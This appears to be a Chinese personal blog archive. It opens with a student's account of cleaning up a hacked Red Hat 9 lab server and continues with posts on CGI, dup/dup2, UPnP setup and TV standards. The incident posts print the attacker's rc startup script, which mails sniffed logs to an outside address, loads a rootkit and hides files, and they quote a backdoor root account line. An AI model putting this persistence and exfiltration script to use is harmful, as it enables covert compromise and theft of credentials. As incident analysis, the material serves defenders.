2008年06月11日

  by mutecat@byhh 2008.05.05

  木马通常会运行一个后台进程,大家知道/etc/rc.d目录下有rc0.d、rc1.d、rc2.d、

rc3.d、rc4.d、rc5.d、rc6.d这几个目录,linux有运行级别这个概念,可以通过

/etc/iniitab来了解每个级别的含义。

//这是redhat9下面inittab文件里面的
# Default runlevel. The runlevels used by RHS are:
#   0 – halt (Do NOT set initdefault to this)
#   1 – Single user mode
#   2 – Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 – Full multiuser mode
#   4 – unused
#   5 – X11
#   6 – reboot (Do NOT set initdefault to this)
id:3:initdefault:

一般我们会使用0、3、5、6这几个级别, 3是字符界面,5是图形界面,0是关机,6是

重启,比如你在命令行敲入reboot,那么/etc/rc.d/rc6.d目录下的文件就会被执行,处理

重启之前的事情。对于每一个级别处理什么事情可以通过ntsysv –level来查看或者修改

,比如你想优化X11启动的速度可以通过ntsysv –level 5来关掉不必要的启动服务,相当

于XP的msconfig命令。

   既然rc.d目录有此等作用,也就自然而然成了众多木马选择的栖身之地,对于我的系统

启动的时候运行在级别3,所以进入/etc/rc.d/rc3.d目录,ls看了一下,怪只怪此“黑客

”粗心大意,植入的木马文件权限位和系统的不一样,用ls一眼就看出了,很是显眼,而

且起的名字也是相当的经典S96daemon。我们来看看这个文件守护进程执行了什么?

vi S96daemon
#!/bin/sh
cd /usr/bin/.tmp
./vad tcp.log >conturi.log
cat /usr/bin/.tmp/conturi.log|mail -s "back" inconjito@yahoo.com
rm -rf /usr/bin/.tmp/tcp.log
./sshd -f sshd_config
./httpd &
/sbin/insmod -f adore.o > /dev/null 2>&1
/sbin/insmod -f cleaner.o > /dev/null 2>&1
/sbin/rmmod cleaner > /dev/null 2>&1
./ava i `cat pid` > /dev/null 2>&1
./ava i `cat sniff.pid` > /dev/null 2>&1
./ava h . > /dev/null 2>&1
for i in {2,3,4,5}
do
./ava h /etc/rc.d/rc$i.d/S96daemon > /dev/null 2>&1
done
./ava h /proc/ksyms > /dev/null 2>&1

和Windows下的木马文件一样,大多是隐藏的,此木马执行文件位于/usr/bin/.tmp目录下

,隐蔽吧,cd到/usr/bin/.tmp看一下,下面有这些文件:

-rw-r–r–    1 root     root           48 May  4 16:46 conturi.log
-rwxr-xr-x    1 683      683         25107 May  4 16:46 damn
-rwxr-xr-x    1 root     ftp         20571 May  4 16:46 httpd
-rw-r–r–    1 root     root         5613 May  4 16:46 pid
-rwxr-xr-x    1 root     root        27890 May  4 16:46 pss
-rwxrw-r–    1 root     root       686451 May  2 04:42 sshd
-rw-r–r–    1 root     root          702 Feb 19  2006 sshd_config
-rw——-    1 root     root          541 Jul  2  2000 ssh_host_key
-rw——-    1 root     root          512 May  4 16:46 ssh_random_seed
drwxr-xr-x    2 1001     users        4096 May  4 18:02 tro
-rwxr-xr-x    1 root     root         4060 Sep 22  2000 vad
-rwxr-xr-x    1 683      683         17849 May  4 16:46 zbam

这就是此“黑客”使用的作案工具,无奈我是小白,暂时还搞不清楚完整的过程,只能暂

时把S96daemon禁用掉,有兴趣的可以研究一下,你要木马文件的话我也可以email给你。

by mutecat@byhh 2008.05.04

   木马病毒源自古希腊特洛伊战争中著名的“木马计”而得名,这是网上说的,我是懒人

很少装防火墙,这就必然导致我的系统上会出现形形色色的木马,通常这些木马必须手动

清除而且很难处理干净,前段时间XP被木马搞得实在支撑不住了,于是下定决心重装系统

,不料我的机器不管用什么盘死活重装不了,无奈只好用木马克星+卡巴斯基暂时抵抗一下

,有点离题了。

   昨天讲到系统reboot,结果大家可想而知,在初始化执行rc.sysint时就挂掉了,原因

是mount和grep这些命令都感染了病毒,运行出现段错误,导致初始化失败。只有再重启进

入single模式修复,当时想的也很简单,把感染了的文件用别的系统上的替换掉就OK了,

但是显然别人知道你有这一招,事先就把mount、netstat、ping这些给你黑了,这样一来

就郁闷了,没有了mount你就不能使用U盘了,没有了网络你也不能用ftp、scp等了。

   为了确认多少文件感染了病毒,进入bin目录,使用ls -l查看文件的最新修改时间,

发现grep、awk、ed、mount、netstat等都被感染了,幸好/sbin、/usr/bin、/usr/sbin

目录下的命令完好。

   旁边另外一台服务器也是redhat 9系统,所以修复工作也比较方便,把感染了病毒的

硬盘取下来挂载到这台服务器上,正如Tmacd所说,由于先前没有经验,在新的机器上我

执行了中毒硬盘bin目录下的grep命令,这时就郁闷了,此台机器也被感染,症状一样,

grep,mount等命令一概不能使用:( 这时候还是有点小害怕的,万一真的搞丢什么数据,

后果可很严重,两台服务器存储着两个项目组的大量数据。但是幸运的是网络并没down

掉,所以让同学打开他的redhat9虚拟机,用scp把系统中grep、mount等命令都拷贝过来

了,虽然grep、mount等可以使用,但是问题的根本并没找到,最后发现grep、mount、

umount、netstat等这些命令是“亲属”,只要其中有一个感染了,执行之后,其它的也

会相应感染,在用netstat -a的时候无意中发现了这个连接:

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp    0      0     voip:33768              207.66.155.21:http      SYN_SEND

从中可以看出,本地一个tcp服务器从33768端口不断的给207.66.155.21的80端口发送数据

,而且每次netstat -a的时候本地的端口都会+2,这显然是非常不正常的!,于是为了找

出这个后台运行的木马程序,用netstat -anp|grep port 命令把本地所有开放端口的进程

号都找了出来,并且用ps -elf|grep pid把对应的程序也全部找了出来,并一一终止,遗

憾的是最终还是没有找出后台运行的木马程序位置,只有把sshd服务或者网络断开,才能

阻止上述连接,但是即使网络被断开,服务器一样中毒不浅,最痛苦的是不小心重启了服

务器,现在好了,两台服务器都进不去了 :(

不慌,还有一招,同学有redhat9虚拟机,把两台机器的硬盘都卸下来,并且挂载到同学的

机器上,修改虚拟机配置,添加物理硬盘(注意操作之前虚拟机一定要拍个快照,万一挂了

可以随时恢复,vmware就是好用:) ),进入虚拟机之后,手动挂载,用

gtar cf bin.tar bin把两块中毒硬盘的bin目录备份,然后rm -rf删除之,使用cp -dpR把

虚拟机目录下的bin目录拷贝过来,并使用chroot命令测试正确性,结果可用,其中在

rm -rf 第一块中毒硬盘目录下的bin目录时,提示ls、netstat、ps等三个命令无权限删除

,faint,我可是root权限,而且是-force,竟然提示没权限,用lsattr看了一下,果然文

件属性位被修改,显示如下:

——-ai——   ls
——-ai——   netstat
——-ai——   ps
文件属性被标志为a时,即使用-f也是删除不了的,用chattr -ai * 把ai属性去掉,最后

成功删除。

bin目录下文件修复之后,两块硬盘都能启动并进入系统了,但是最先中毒的硬盘显然没

这么简单,待续。

 by mutecat@byhh  2008.05.04

  linux木马?是不是很奇怪,大多数人的眼里,似乎只有Windows系统才会中木马、病毒

,而linux是安全的。但是安全是相对的,所以我们应该提高警惕。

  今天是五四青年节,一大早来到实验室,似乎五一三天的假期还在延续,还是没有多少

心思去过多的关注项目的事情,而且听说国家也有规定,18到24周岁的青年人五四是有半

天假期的,加上boss也不在,所以更加放松了,端着一杯茶,逛白云,逛新浪。

  正在休闲自得的时候,实验室一师弟反应linux服务器登录不进去了,当时也没太在意

,自己也试着登录进去,确实登录不了,于是跑到服务器前面捣鼓一番,试着用login命令

,问题出现了,grep、mount命令执行都出现段错误,之前服务器的boot目录和bin目录都

曾经被人误删除过(-_-用root用户一定要小心啊!),所以第一反应就是查看history,用vi

打开root目录下的.bash_history文件,看到里面的内容我就知道这不是实验室的人干的,

历史记录显示有人对/etc/rc.d目录下的文件进行过N此操作,使用过ntsysv命令,使用过

passwd命令,用login的时候证实root密码确实被改了(之前我们使用的密码是123 @_@)。

此时就知道情况不妙,用last -20 查看了最近的20次登陆情况,发现如下疑点:

kumi     pts/2        85.121.98.8      Fri May  2 04:48 – 05:23  (00:34)
root     pts/0        85.121.98.8      Fri May  2 04:38 – 04:49  (00:10)
root     pts/0        59.108.36.6      Thu May  1 09:59 – 10:38  (00:38)

由于我们都是局域网,五一期间根本没人登录过服务器,就是登录也不会是在外网登录,

外网只有远在美国的导师会登录,但是即使是导师登录,用户名也不会是kumi,于是查

看了一下/etc/passwd文件,文件尾被加入了这一行:

kumi:x:0:528::/home/kumi:/bin/bash

kumi用户尽然和root属于一个group,至此基本确定服务器被“黑客”攻击了,

ps:

  我们的服务器是内网, 平时都是大家自己用,所以root密码设置成了123,由于前端

时间老板在美国要用,所以就在网关做了映射,但是对安全没有引起重视,所以没修改

root密码,导致了今天的后果。

前面说过,mount命令,grep命令都被替换了或修改了,运行出现段错误, 用ls看了一下

文件最新更新时间,显示的是5.4,也就是今天, 和windows一样,系统崩溃最好也是最

笨的办法就是重启,但是往往这时候系统能够工作是听天由命。

先说这么多,晚上还有活动,对不起大家了,明天继续。

2007年09月24日

by  mutecat@byhh  2007-09.24

    大二的时候就开始接触CGI了,那时候用perl、php都写过CGI程序,对CGI的了解

也浮于表面上,最近由于工作需要,需要用C来写CGI程序,是时候弄清楚CGI内部的工

作机制了。

1. CGI是什么?

  相信很多人和我之前一样,说到CGI,会熟练的蹦出一句“Common Gateway

Interface ”,没错,这确实是CGI的全称,可以翻译为“通用网关接口”,可一说到它的

用处,有多少人能够讲清楚? 没关系,现在我就帮大家来解决这个困惑。按照CGI 1.1

里面的说法“The Common Gateway Interface (CGI) is a simple interface for

running external programs, software or gateways under an information server in

a platform–idependent manner. Currently, the supported information servers

are HTTP servers.”,和我们熟悉的一样,CGI现在都用在http服务器上,那么CGI能够

提供怎样的便利呢?答案如下:“A plain HTML document that the Web daemon

retrieves is static, which means it exists in a constant state: a text file

that doesn’t change. A CGI program, on the other hand, is executed in

real-time, so that it can output dynamic information.”

2. CGI接口定义

    目前关于CGI接口最新的版本是1.1, 既然CGI程序充当的角色是一个Gateway,那么

这个Gateway的两端是什么?没错,是Http Server(Web Server)的输入和输出,换句话说

,CGI程序从Web Server那里获得浏览器发过来的数据,进行相应处理后,输出浏览器识别

的html文本给Web Server。为了便于理解, 还是用流程图示意一下。

 client                   Web Server             CGI程序    
    
       http协议                         CGI接口
发送请求---->接受请求并将数据处理发送给CGI程序--->获得处理过的数据并解析
                                               
接受数据<----获得CGI返回的数据并发送给客户端<---处理数据并返回html数据

            图 1

本文讨论的重点就是这个CGI接口, CGI程序通过环境变量和标准输入获得数据,通过标

准输出和标准错误输出发送数据,那么这个到底是怎么实现的呢?

3. CGI接口实现

其实Web Server和CGI程序就是两个进程,要实现CGI接口就是如何实现这两个进程的通信

,Web Server获得浏览器发送过来的请求后,将数据做相应处理,然后fork一个子进程处

理客户请求,子进程组织相应的环境变量和参数准备传递给CGI程序,然后调用execvp执

行CGI程序。CGI程序有自己的环境变量,就是如上实现的,第二节说过,CGI程序除了通

过环境变量获得数据外(其实这是get方法获取数据的手段),还通过标准输入获得数据(pos

t方法获取数据的方法),并且返回的数据是发送到标准输出。相信你和我之前有一样的疑

问,为什么CGI程序能够从标准输入、标准输出读写数据?其实这是通过管道和dup2系统

调用实现的,见下面的示意图:

                               _____________________
                          dup2|                     |
(CGI program)read<-stdin<--|p[0]--管道1--p[1]|<-write (http server)
                              |_____________________|

                            图2: CGI读的实现
                                 _____________________
                            dup2|                     |
(CGI program)write->stdout-->|p[1]--管道2--p[0]|->read (http server)
                                |_____________________|

                            图3: CGI写的实现

4. 如何写CGI程序

    有了上述的讲述后,应该算基本熟悉CGI的内幕了,这样写起CGI程序也会得心应手,

首先获得相应的环境变量并保存,然后就是数据处理,根据REQUEST_METHOD环境变量判断

表单提交的方法是GET还是METHOD,如何是GET,则从QUERY_STRING里面获取数据,如果是

POST, 那么从stdin读取长度CONTENT_LENGTH的数据。下面就是数据处理,组织html的输

出页面,并用printf输出。

5. 小结

    上面讲的其实只是一个概况,关于CGI的接口有兴趣的可以去看看这两个网页:

http://cgi-spec.golux.com/draft-coar-cgi-v11-03-clean.html 
http://hoohoo.ncsa.uiuc.edu/cgi/intro.html
    我叙述的可能有些地方也有问题,欢迎提出! 另外关于CGI实现的代码可以看看

开源软件"thttpd",这是一个轻量级的http server,实现的很讲究,主页在

    http://www.acme.com/software/thttpd/

  完毕!

2007年09月20日

by mutecat@byhh  2007-09.20

    最近一段时间在用c写cgi程序,接触了这两个系统调用dup/dup2,碰到了一些

问题, 也解决了一些问题, 写出来与大家分享,也方便以后参考:)

1. 文件描述符在内核中数据结构

    在具体说dup/dup2之前, 我认为有必要先了解一下文件描述符在内核中的形态。

一个进程在此存在期间,会有一些文件被打开,从而会返回一些文件描述符,从shell

中运行一个进程,默认会有3个文件描述符存在(0、1、2), 0与进程的标准输入相关联,

1与进程的标准输出相关联,2与进程的标准错误输出相关联,一个进程当前有哪些打开

的文件描述符可以通过/proc/进程ID/fd目录查看。 下图可以清楚的说明问题:

  进程表项
————————————————

   fd标志 文件指针
      _____________________
fd 0:|________|____________|————> 文件表
fd 1:|________|____________|
fd 2:|________|____________|
fd 3:|________|____________|
     |     …….         |
     |_____________________|

                图1
       
文件表中包含:文件状态标志、当前文件偏移量、v节点指针,这些不是本文讨论的

重点,我们只需要知道每个打开的文件描述符(fd标志)在进程表中都有自己的文件表

项,由文件指针指向。

2. dup/dup2函数

APUE和man文档都用一句话简明的说出了这两个函数的作用:复制一个现存的文件描述符。

#include <unistd.h>

int dup(int oldfd);

int dup2(int oldfd, int newfd);

从图1来分析这个过程,当调用dup函数时,内核在进程中创建一个新的文件描述符,此

描述符是当前可用文件描述符的最小数值,这个文件描述符指向oldfd所拥有的文件表项。

  进程表项
————————————————

   fd标志 文件指针
      _____________________
fd 0:|________|____________|                   ______
fd 1:|________|____________|—————-> |      |
fd 2:|________|____________|                  |文件表|
fd 3:|________|____________|—————-> |______|
     |     …….         |
     |_____________________|

                图2:调用dup后的示意图

如图2 所示,假如oldfd的值为1, 当前文件描述符的最小值为3, 那么新描述符3指向

描述符1所拥有的文件表项。

dup2和dup的区别就是可以用newfd参数指定新描述符的数值,如果newfd已经打开,则

先将其关闭。如果newfd等于oldfd,则dup2返回newfd, 而不关闭它。dup2函数返回的新

文件描述符同样与参数oldfd共享同一文件表项。

APUE用另外一个种方法说明了这个问题:

实际上,调用dup(oldfd);

等效与
        fcntl(oldfd, F_DUPFD, 0)

而调用dup2(oldfd, newfd);

等效与
        close(oldfd);
        fcntl(oldfd, F_DUPFD, newfd);

3. CGI中dup2

写过CGI程序的人都清楚,当浏览器使用post方法提交表单数据时,CGI读数据是从标准

输入stdin, 写数据是写到标准输出stdout(c语言利用printf函数)。按照我们正常的理

解,printf的输出应该在终端显示,原来CGI程序使用dup2函数将STDOUT_FINLENO(这个

宏在unitstd.h定义,为1)这个文件描述符重定向到了连接套接字。

dup2(connfd, STDOUT_FILENO); /*实际情况还涉及到了管道,不是本文的重点*/

如第一节所说, 一个进程默认的文件描述符1(STDOUT_FILENO)是和标准输出stdout相

关联的,对于内核而言,所有打开的文件都通过文件描述符引用,而内核并不知道流的

存在(比如stdin、stdout),所以printf函数输出到stdout的数据最后都写到了文件描述

符1里面。至于文件描述符0、1、2与标准输入、标准输出、标准错误输出相关联,这

只是shell以及很多应用程序的惯例,而与内核无关。

用下面的流图可以说明问题:(ps: 虽然不是流图关系,但是还是有助于理解)

printf -> stdout -> STDOUT_FILENO(1) -> 终端(tty)

printf最后的输出到了终端设备,文件描述符1指向当前的终端可以这么理解:

STDOUT_FILENO = open("/dev/tty", O_RDWR);

使用dup2之后STDOUT_FILENO不再指向终端设备, 而是指向connfd, 所以printf的

输出最后写到了connfd。是不是很优美?:)

4. 如何在CGI程序的fork子进程中还原STDOUT_FILENO

如果你能看到这里,感谢你的耐心, 我知道很多人可能感觉有点复杂, 其实

复杂的问题就是一个个小问题的集合。所以弄清楚每个小问题就OK了,第三节中

说道,STDOUT_FILENO被重定向到了connfd套接字, 有时候我们可能想在CGI程序

中调用后台脚本执行,而这些脚本中难免会有一些输入输出, 我们知道fork之后,

子进程继承了父进程的所有文件描述符,所以这些脚本的输入输出并不会如我们愿

输出到终端设备,而是和connfd想关联了,这个显然会扰乱网页的输出。那么如何

恢复STDOUT_FILENO和终端关联呢?

方法1:在dup2之前保存原有的文件描述符,然后恢复。

代码实现如下:

savefd = dup(STDOUT_FILENO); /*savefd此时指向终端*/

dup2(connfd, STDOUT_FILENO);   /*STDOUT_FILENO(1) 被重新指向connfd*/

…..  /*处理一些事情*/

dup2(savefd, STDOUT_FILENO);  /*STDOUT_FILENO(1) 恢复指向savefd*/

很遗憾CGI程序无法使用这种方法, 因为dup2这些不是在CGI程序中完成的,而是在

web server中实现的,修改web server并不是个好主意。

方法2: 追本溯源,打开当前终端恢复STDOUT_FILENO。

分析第三节的流图, STDOUT_FILENO是如何和终端关联的? 我们重头做一遍不就行

了, 代码实现如下:

ttyfd = open("/dev/tty", O_RDWR);

dup2(ttyfd, STDOUT_FILENO);

close(ttyfd);

/dev/tty是程序运行所在的终端, 这个应该通过一种方法获得。实践证明这种方法

是可行的,但是我总感觉有些不妥,不知道为什么,可能一些潜在的问题还没出现。

目前我就想到这两种方法, 不知道你有什么好的想法? 有的话希望告诉我:)

终于收尾了,一早上过来写,没想到写了两个小时才写完,好久没有写原创了,又重拾

了以前那美妙的感觉:)

2007年08月11日

http://blog.csdn.net/max2008/archive/2007/06/24/1664883.aspx

http://www.ppcn.net/n1306c2.aspx

http://www.ppcn.net/n2422c38.aspx

http://sumtec.cnblogs.com/archive/2004/04/21/6927.aspx

http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt

http://sumtec.cnblogs.com/sumtec/archive/2004/04/21/6985.aspx

http://cache1.club.ppstream.com/topic/3/313371/1.html

http://www.watersprings.org/pub/id/draft-takeda-symmetric-nat-traversal-00.txt

2007年08月01日

在网上看了很多关于如何打开UPnP功能的文章,发现竟然没有一篇文章能把整个UPnP的设置过程介绍全的,都是只讲到一部分。所以决定写篇文章,至少把设置UPnP的整体思路理一下,因为涉及到不同的操作系统以及不同型号的ADSL Modem,所以此文也不可能面面俱到,但至少提供一个较为完整的思路。因水平有限,不到之处还请高手指点。

  一、UPnP的概念:

  以下是微软官方网站对UPnP的解释:

  问:什么是 UPnP?

  答:通用即插即用 (UPnP) 是一种用于 PC 机和智能设备(或仪器)的常见对等网络连接的体系结构,尤其是在家庭中。UPnP 以 Internet 标准和技术(例如 TCP/IP、HTTP 和 XML)为基础,使这样的设备彼此可自动连接和协同工作,从而使网络(尤其是家庭网络)对更多的人成为可能。

  问:UPnP 对消费者意味着什么?

  答:简单、更多选择和更新颖的体验。包含通用即插即用技术的网络产品只需实际连到网络上,即可开始正常工作。实际上,UPnP 可以和任何网络媒体技术(有线或无线)协同使用。举例来说,这包括:Category 5 以太网电缆、Wi-Fi 或 802.11B 无线网络、IEEE 1394("Firewire")、电话线网络或电源线网络。当这些设备与 PC 互连时,用户即可充分利用各种具有创新性的服务和应用程序。

  以下是BC官方网站对UPnP的解释:

  UPnP(Universal Plug and Play),通用即插即用,是一组协议的统称,不能简单理解为UPnP=“自动端口映射”。在BitComet下载中,UPnP包含了2层意思:

  1、对于一台内网电脑,BitComet的UPnP功能可以使网关或路由器的NAT模块做自动端口映射,将BitComet监听的端口从网关或路由器映射到内网电脑上。

  2、网关或路由器的网络防火墙模块开始对Internet上其他电脑开放这个端口。

  我倒是觉得微软的解释过于理论化,适合写入牛津大词典;而BC官方网站的解释过于含蓄晦涩。其实对于一般的使用者来讲,简单的把UPnP理解为自动端口映射就可以了。它就是一种基于TCP/IP协议的,针对设备彼此间的通讯而制订的新的Internet协议,目的就是希望未来所有联入Internet中的设备能够不受网关阻碍的相互通信。

  二、哪些用户需要用UPnP功能?

  1、只有在需要使用一些支持UPnP功能的P2P软件的时候,如BT、电骡eMule、MSN等,我们才需要考虑UPnP这个东东。如果你根本就不用这些软件,仅仅是上网浏览的话,下文就没必要看了;

  2、如果你需要使用这些P2P软件,但你是外网用户,那么下文也可以不看了,因为你不需要做什么UPnP就可以正常使用这些P2P软件了;
  3、如果你是内网用户,但你已经手动为这些P2P软件进行了端口映射,如在使用BC下载时,在“用户列表”中已经看到“远程”,或者是使用电骡eMule连接服务器成功后,已经显示为高ID,那么下文也可以不看了。

  但需要注意的是,手动做的端口映射只是针对某个P2P软件起作用,如果再使用新的P2P软件的话,仍然需要针对新的P2P软件做相应的端口映射才可以;

  4、如果你是内网用户,需要使用这些P2P软件,而且并未进行手动端口映射,比如在使用BC进行下载时,“用户列表”中只有“本地”而没有“远程”,在使用电骡eMule的时候,显示的也是低ID,那么此时我们才需要考虑端口映射的问题!

  这时我们可以有两种选择:

  1、进行手动端口映射。

  2、打开UPnP功能,进行自动端口映射,也就是我们下面所讲的内容;

  小结:UPnP自动端口映射的目的:

  以BC为例,手动端口映射和自动UPnP端口映射都是为了获得远程连接,因此凡是在“用户列表”里看见了“远程”的用户,都不需要进行端口映射或是UPnP!UPnP和端口映射只需要取其一,他们相当于达到目的的2种不同的方法而已。

  因此如果你的系统或者硬件不支持UPnP功能,大可不必伤心,按照第3点的链接文章中的方法手动做端口映射就可以了,效果是一样的;  
三、实现UPnP必须满足哪些条件:

  必须同时满足3个条件:

  1、Modem必须支持UPnP功能:是否具备此功能可查阅说明书或者直接咨询厂家。一般来讲,Modem还必须同时支持路由功能,除非你配备了单独的路由器;

  2、操作系统的支持:文章开头提到的那篇介绍UPnP的文章中,提到只有windows xp系统才支持UPnP功能,但微软的官方网站声称从Windows Me开始就已经支持UPnP功能了。但Windows Me这个操作系统我也没有用过,大家可以自行测试;

  3、软件必须支持UPnP功能:如BC、电骡eMule、MSN等软件都支持UPnP功能;

  顺便提一下,目前的几款视讯聊天软件各有其特殊性,象Netmeeting、QQ等就不支持UPnP功能,文章的最后会详细阐述一下这几款视频聊天软件的特殊性,此处不深入探讨,一笔带过;

  注意:以上3个条件必须同时满足,缺一不可,否则你只能考虑进行手动端口映射了;

 

  四、如何打开UPnP功能

  如果已经满足了上述的3个条件,那么我们就一步一步的讲解一下到底如何才能打开UPnP功能;

  1、在Modem中打开UPnP功能。

  不同型号的Modem设置界面和方法略有不同,如有些是在下拉菜单中选择Enable,但基本的原理都是一样的;

  有些文章提到,此时要把所有桥接的eoa连接都删除掉,我倒是认为大可不必如此。因为目前只有你的PPPOE连接是有效的,其它的几个eoa所对应的VPI和VCI根本就是无效的,所以没有必要删除。但是否有些型号的Modem会比较特殊也很难讲,因此建议此时暂不删除,把全部设置进行完后,如果还是没有打开UPnP,再尝试把eoa删除掉;

  当然,设置完后,一定要保存并重启Modem;

  2、在操作系统中打开UPnP功能:

  如果你使用的是XP SP2系统,则首先进入:控制面板->添加或删除程序->添加/删除windows组件中,在“网络服务”中勾选“UPnP用户界面”。

  确定后,系统会自动安装相应的组件,可能会提示你插入安装光盘,总之按照提示操作完成即可;

  接着打开Windows自带的防火墙,在“例外”选项卡中勾选“UPnP框架”。

  其实有个更加简单的方法可以同时完成以上两步:双击桌面上的网上邻居(注意是鼠标左键双击,不是右键查看属性),然后点击“显示联网的UPnP设备的图标”,系统会自动安装UPnP组件以及在防火墙中打开UPnP框架,实际上就是一次性完成上面两步的工作;

  如果你使用的是XP SP1系统,那么在“windows组件”中显示的是“通用即插即用”,而不是“UPnP用户界面”,选择此项即可。

  而且XP SP1系统的防火墙并没有UPnP框架的选项,需要手动进行端口添加,另一教程对此做了阐述,现引用过来:

  【请在防火墙设置中,点“高级”,然后自行添加如下两个端口:TCP端口类型,端口号为:2869,UDP端口类型,端口号为:1900 。由于你使用了NAT网关,所以你应该设置的是您连接到该网关的网卡的防火墙。而且网关内部均为内网,所以开启这两个端口,不会对系统造成安全隐患(除非你的NAT网关被绕过,否则外部连接无法检测到该端口)。】

  以上的防火墙设置只是针对windows自带的防火墙,如果你安装了其它的防火墙,必须在该防火墙中打开UPnP框架;

  3、在windows中打开相应的UPnP服务:

  进入“控制面板->管理工具->服务”,找到SSDP Discovery Service和Universal Plug and Play Device Host两项服务。

  右击相应的服务项,选择属性,启动这两项服务。

  做完以上工作后,如果操作正确,我们就可以在“网络连接”中看到多了一项网关,这表明添加UPnP已经成功;

  4、打开P2P软件中的UPnP功能:

  以BC和电骡eMule为例,相应的设置选项。

  到此为止,我们打开UPnP的工作才真正结束。

  以BC为例,成功添加UPnP功能后,在“全局日志”中我们会看到类似下面的几行:
Windows XP UPnP Status: Found WAN Connection Device[Linksys Inc.] [http://www.linksys.com/]
Windows XP UPnP Status: WAN IP: 218.30.*.*
Windows XP UPnP Status: Port Mapping Existed!

  此时我们用BC进行下载,如果用户列表中有“远程”,或者用电骡eMule连接服务器后显示为高ID,那么就大功告成了!

  五、对几款视频聊天软件的简单对比说明:

  目前常用的视频聊天软件主要有MSN、Netmeeting和QQ等,这3款软件中只有MSN支持UPnP功能,而且发现在MSN的选项中并没有设置UPnP功能的选项,也就是说MSN始终是默认打开UPnP功能的。另外,MSN似乎也没有象BC或者电骡eMule那样提供可以手动进行端口映射的端口号,因此只要没有打开UPnP功能,MSN的功能就会受限,比如不能进行语音通信等;

  而Netmeeting虽然不支持UPnP功能,但是却提供了可以进行手动进行端口映射的端口号,如果你是内网用户,只要手动进行1503和1720两个端口的映射即可正常使用所有音视频功能;

  QQ是用UDP的方式,通过UDP服务器来实现音视频以及文件的传输,跟UPnP没有什么关系,所以无论内网还是外网,使用QQ都畅行无阻,只是传输的速率要慢些;

  说实话,本人平时也不常上网聊天,所以对这些聊天软件了解也不深,如果有说得不对的地方,欢迎高手指点。

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1664883

2007年07月27日

http://bbs.sq188.cn/viewthread.php?tid=784

http://blog.csdn.net/zhoujunyi/archive/2007/05/22/1621279.aspx

2007年03月08日

监控系统中N制和P制区别

zz  from http://www.iet.com.cn/epistemeshow1.htm

    NTCS制式与PAL制式

    很多人都知道有NTSC和PAL两大制式,那到底什么是NTSC制式?什么是PAL制式呢?简单的说,NTSC和PAL属于全球两大主要的电视广播制式,但是由于系统投射颜色影像的频率而有所不同。NTSC是National Television System Committee的缩写,其标准主要应用于日本、美国,加拿大、墨西哥等等,PAL 则是Phase Alternating Line的缩写,主要应用于中国,香港、中东地区和欧洲一带。

    这两种制式是不能互相兼容的,如果在PAL制式的电视上播放NTSC的影响,画面将变成黑白,NTSC制式的也是一样。而做为视频拍摄工具的数码摄像机,也同样有制式的问题,比如我国使用PAL制式,在我国销售的数码摄像机都是PAL制式的,如果是NTSC制式的摄像机拍摄出来的图象不能在PAL制式的电视机上正常播放。因此,可以肯定的说,在我国销售的数码摄像机行货一定是PAL制式的,如果是NTSC制式的数码摄像机,则一定是水货。

    PAL制式和NTSC的分辨率也有所不同,PAL制式使用的是720*576,而NTSC制式使用的是760*480,在分辨率上PAL稍稍占有优势。而PAL制式的画面解析度720*576,约40万象素,也决定了PAL制式的数码摄像机的CCD大小应该为40万的倍数或者半倍数,比如2倍或者1.5倍,所以PAL制式数码摄像机都是80万,或者107万(接近100万,40万的2.5倍)、155万(接近160万,40万的4倍)。而NTSC制式的画面解析度为720*480,约34万象素,所以NTSC制式的数码摄像机一般为68万象素等等。

    目前的视频采集软件都支持PAL和NTSC制式,但是在编辑过程中是不能同时使用NTSC制式的素材和PAL制式的素材,必须用过转换才能在同一时间轴上使用两个素材。

   在PC领域,由于使用的制式不同,存在不兼容的情况。就拿分辨率来说,有的制式每帧有625线(50Hz),有的则每帧只有525线(60 Hz)。后者是北美和日本采用的标准,统称为NTSC。通常,一个视频信号是由一个视频源生成的,比如摄像机、VCR或者电视调谐器等。为传输图像,视频源首先要生成-个垂直同步信号(V SYNC)。这个信号会重设接收端设备(PC显示器),保征新图像从屏幕的顶部开始显示。发出VSYNC信号之后,视频源接着扫描图像的第一行。完成后,视频源又生成一个水平同步信号,重设接收端,以便从屏幕左侧开始显示下一行。并针对图像的每一行,都要发出一条扫描线,以及一个水平同步脉冲信号。   另外,NTSC标准还规定视频源每秒钟需要发送30幅完整的图像(帧)。假如不作其它处理,闪烁现象会非常严重。为解决这个问题,每帧又被均分为两部分,每部分2 62.5行。一部分全是奇数行,另一部分则全是偶数行。显示的时候,先扫描奇数行,再扫描偶数行,就可以有效地改善图像显示的稳定性,减少闪烁。目前世界上彩色电视主要有三种制式,即N TSC、PAL和SECAM制式,三种制式目前尚无法统一。

2007年03月02日